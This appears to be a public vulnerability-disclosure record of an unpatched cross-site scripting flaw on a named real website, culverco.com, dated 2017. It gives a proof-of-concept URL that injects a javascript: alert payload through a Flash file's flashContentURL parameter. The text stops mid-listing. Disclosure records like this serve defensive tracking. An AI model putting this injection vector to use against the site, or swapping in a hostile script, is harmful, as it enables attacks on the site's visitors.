culverco.com XSS vulnerability

Vulnerable URL: http://www.culverco.com/sce/eew/guzzler/flashdetection.swf?flashContentURL=javascript:alert/XSSPOSED/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3084612 Google...